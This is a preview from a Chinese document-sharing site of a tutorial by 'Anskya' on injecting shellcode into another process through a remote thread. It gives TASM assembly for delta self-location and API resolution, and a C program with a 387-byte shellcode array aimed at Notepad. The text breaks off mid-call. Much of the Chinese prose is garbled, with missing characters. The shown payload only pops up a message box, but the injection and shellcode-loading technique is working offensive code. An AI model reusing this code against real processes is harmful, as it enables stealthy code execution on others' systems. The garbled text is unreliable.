资源预览内容
第1页 / 共5页
第2页 / 共5页
第3页 / 共5页
第4页 / 共5页
第5页 / 共5页
亲,该文档总共5页全部预览完了,如果喜欢就下载吧!
资源描述
ShellCode的另外一种玩法(远程线程注入ShellCode)介于小弟技术菜,请各位大哥不要奸笑希望可以指点一二转载请保留版权:by Anskya这里是说将ShellCode代码直接注射到远程进程内部使她运行!以下代码全部使用TASM为原型编写(MASM不太适合,不能自定义PE结构,为了某某人说我抄袭和盗版pkXX大哥的FASM大作,我这里就使用国内很少用的TASM为原型来编写代码)文章假定各位已经有了一定的编程基础1.远程线程注入原理先说说远程线程注入原理,以前我们编写远程注入代码的时候总是需要自己计算代码注入到目标进程后的结构,一般是本地获取GetProcAddress,LoadLibraryA,GetModuleHandle,ExitThread函数,当然也有的大哥哥是使用本地获取所有函数的指针然后然后填写代码结构后注入到目标进程的.小弟不 后 ,假定目标进程 有 载user32.dll 接 , 的代码 有MessageBoxA这 函数的 ,就 法 作( 法 取XXX地 ), 使用 一种 法,这 是 一 .以下代码 . 是 有填写 部假注入代码已经获取到GetProcAddress,LoadLibraryA,GetModuleHandle地 CODE:.dataxdll db user32.dll,0xapi db MessageBoxA,0.codestart:push ebx lea ebx,xdllpush ebxcall GetModuleHandle ; 使用GetModuleHandle 可以直接使用test eax,0 ;LoadLibraryAjnz getapilea ebx,xdllpush ebxcall LoadLibraryAgetapi:lea ebx,xapipush ebxpush eax ;currency1时eax保的是u32的基 call GetProcAddresspush 0push 0push 0push 0call eax ;“用MessageBoxA的函数pop ebxend startCopy to clipboard也就是说,需要有了以 函数就可以获取 所需要的fifl函数当然 也可以自己写一 API 自己用来自己需要的API函数二 :代码定位,和数 代码结合技术(这” )(ASM编程. 编写的注入代码,注入前代码是 的)注入代码和代码不 一部当然是要先 定自目标进程 的位 这点ShellCode已经到,我就不 了的说一下原理.1. 先 定代码目标进程 的位 2.获取数 地 -ShellCode,PE Virus一 需要获取自己需要的一 3.k32基 定位-这 所有 用版ShellCode,和PE Virus需要用到的4. 自需要使用的API函数地 (一 一 载DLL)5. 代码 作 这 就是ShellCode PE Virus的 要 作了6. / , 代码, 点的 不 fl 这里说了.说了这 就是说 自代码定位很要不然就 法 定 函数地 ,数 , 有 程的地 了我这里不 了 用一 经的代码自定位的代码 了CODE:entry:call deltadelta: ;edi不经 用所以就 基 这里pop edi ;也有 不 这作,为ShellCode和PEVirussub edi,offset delta ; 要 . 是为了 我这里用用了这 Copy to clipboard代码自定位完毕以后剩下的就可以自己获取地 了.具 何使用看前辈们的资料代码数 结合技术:Delphi和VC可以用内项汇编作到Delphi一点VC麻烦ASM 了这里以MASM为例-TASM和NASM,FASM很直接db就 了MASM需要注fl一点MASM太智能化了_CODE:jmp startszStr db Hello World,0start:push szStrcall szStradd esp,4 ; 指针-C函数不 自动 Copy to clipboard2.ShellCode原理1. 先 定代码目标进程 的位 2.获取数 地 -ShellCode,PE Virus一 需要获取自己需要的一 3.k32基 定位-这 所有 用版ShellCode,和PE Virus需要用到的4. 自需要使用的API函数地 (一 一 载DLL)5. 代码 作 这 就是ShellCode PE Virus的 要 作了6. / , 代码, 点的 有了的一 知识ShellCode的编写就 理解了.这里说的是 用版本的ShellCode(就是可以fi何 作系统跑的).和的流程一 (ShellCode和PE Virus 就 区.原理相 ,代码相近. 于一点点区就是代码结束的地 -ShellCode 有感染功能.不 fl 忘记说了.ShellCode一般退出是 用ExitThread不映象目标程序运行,PE Virus是jmp oep).了说说ShellCode编写.按照的流程,先自定位,然后获取k32的基 ,API(记得先 LoadLibraryA出来!这 要的),然后就可以 作了. 等等.具看前辈们的代码,我这里是的介绍一下.不要fl 3.注入实现是的说了一下ShellCode原理和注入代码原理,基本ShellCode完全满足我们的需要了, 了下我们来具实现代码.用C写嘿嘿 便一点 CODE:#include int ShellSize = 387; unsigned char ShellCode387 =0xE8,0x00,0x00,0x00,0x00,0x5F,0x81,0xEF,0x1E,0x10,0x40,0x00,0x8D,0x87,0x94,0x10,0x40,0x00,0x50,0xE8,0x83,0x00,0x00,0x00,0x8D,0x87,0xA5,0x10,0x40,0x00,0x50,0xE8,0x77,0x00,0x00,0x00,0x2B,0xC0,0x50,0x8D,0x9F,0x83,0x10,0x40,0x00,0x53,0x8D,0x9F,0x5E,0x10,0x40,0x00,0x53,0x50,0xFF,0x97,0xAC,0x10,0x40,0x00,0x6A,0x00,0xFF,0x97,0x9D,0x10,0x40,0x00,0xC3,0x5B,0x2A,0x5D,0x20,0x48,0x65,0x6C,0x6C,0x6F,0x20,0x57,0x6F,0x72,0x6C,0x64,0x20,0x43,0x6F,0x64,0x65,0x72,0x21,0x20,0x28,0x43,0x29,0x20,0x41,0x6E,0x73,0x6B,0x79,0x61,0x2E,0x0D,0x0A,0x00,0x4D,0x73,0x67,0x42,0x6F,0x78,0x20,0x42,0x79,0x20,0x41,0x6E,0x73,0x6B,0x79,0x61,0x00,0x6B,0x65,0x72,0x6E,0x65,0x6C,0x33,0x32,0x00,0x01,0x92,0x8F,0x05,0x00,0x00,0x00,0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x00,0xF7,0x6C,0x55,0xD8,0x00,0x00,0x00,0x00,0x60,0x8B,0x74,0x24,0x24,0xE8,0x97,0x00,0x00,0x00,0x68,0xAD,0xD1,0x34,0x41,0x50,0xE8,0x1F,0x00,0x00,0x00,0x56,0xFF,0xD0,0x8B,0xD8,0x2B,0xC0,0xAC,0x84,0xC0,0x75,0xFB,0x8B,0xFE,0xAD,0x85,0xC0,0x74,0x0A,0x50,0x53,0xE8,0x05,0x00,0x00,0x00,0xAB,0xEB,0xF1,0x61,0xC3,0x60,0x8B,0x5C,0x24,0x24,0x8B,0x74,0x24,0x28,0x2B,0xED,0x8B,0xD3,0x03,0x52,0x3C,0x8B,0x52,0x78,0x03,0xD3,0x8B,0x42,0x18,0x8B,0x7A,0x1C,0x03,0xFB,0x8B,0x7A,0x20,0x03,0xFB,0x52,0x8B,0xD7,0x8B,0x17,0x03,0xD3,0x45,0x60,0x8B,0xF2,0x2B,0xC9,0xAC,0x41,0x84,0xC0,0x75,0xFA,0x89,0x4C,0x24,0x18,0x61,0x60,0x2B,0xC0,0xE8,0x51,0x00,0x00,0x00,0x3B,0xC6,0x61,0x74,0x08,0x83,0xC7,0x04,0x48,0x74,0x18,0xEB,0xD6,0x5A,0x4D,0x8B,0x4A,0x24,0x03,0xCB,0x0F,0xB7,0x04,0x69,0x8B,0x6A,0x1C,0x03,0xEB,0x8B,0x44,0x85,0x00,0x03,0xC3,0x89,0x44,0x24,0x1C,0x61,0xC2,0x08,0x00,0x60,0x2B,0xC0,0x64,0x8B,0x40,0x30,0x85,0xC0,0x78,0x0C,0x8B,0x40,0x0C,0x8B,0x70,0x1C,0xAD,0x8B,0x40,0x08,0xEB,0x09,0x8B,0x40,0x34,0x8D,0x40,0x7C,0x8B,0x40,0x3C,0x89,0x44,0x24,0x1C,0x61,0xC3,0x60,0xE3,0x18,0xF7,0xD0,0x32,0x02,0x42,0xB3,0x08,0xD1,0xE8,0x73,0x05,0x35,0x20,0x83,0xB8,0xED,0xFE,0xCB,0x75,0xF3,0xE2,0xEC,0xF7,0xD0,0x89,0x44,0x24,0x1C,0x61,0xC3;int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)DWORD PID;HANDLE Process;LPVOID pThread;GetWindowThreadProcessId(FindWindow(Notepad, NULL), &PID);Proce
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号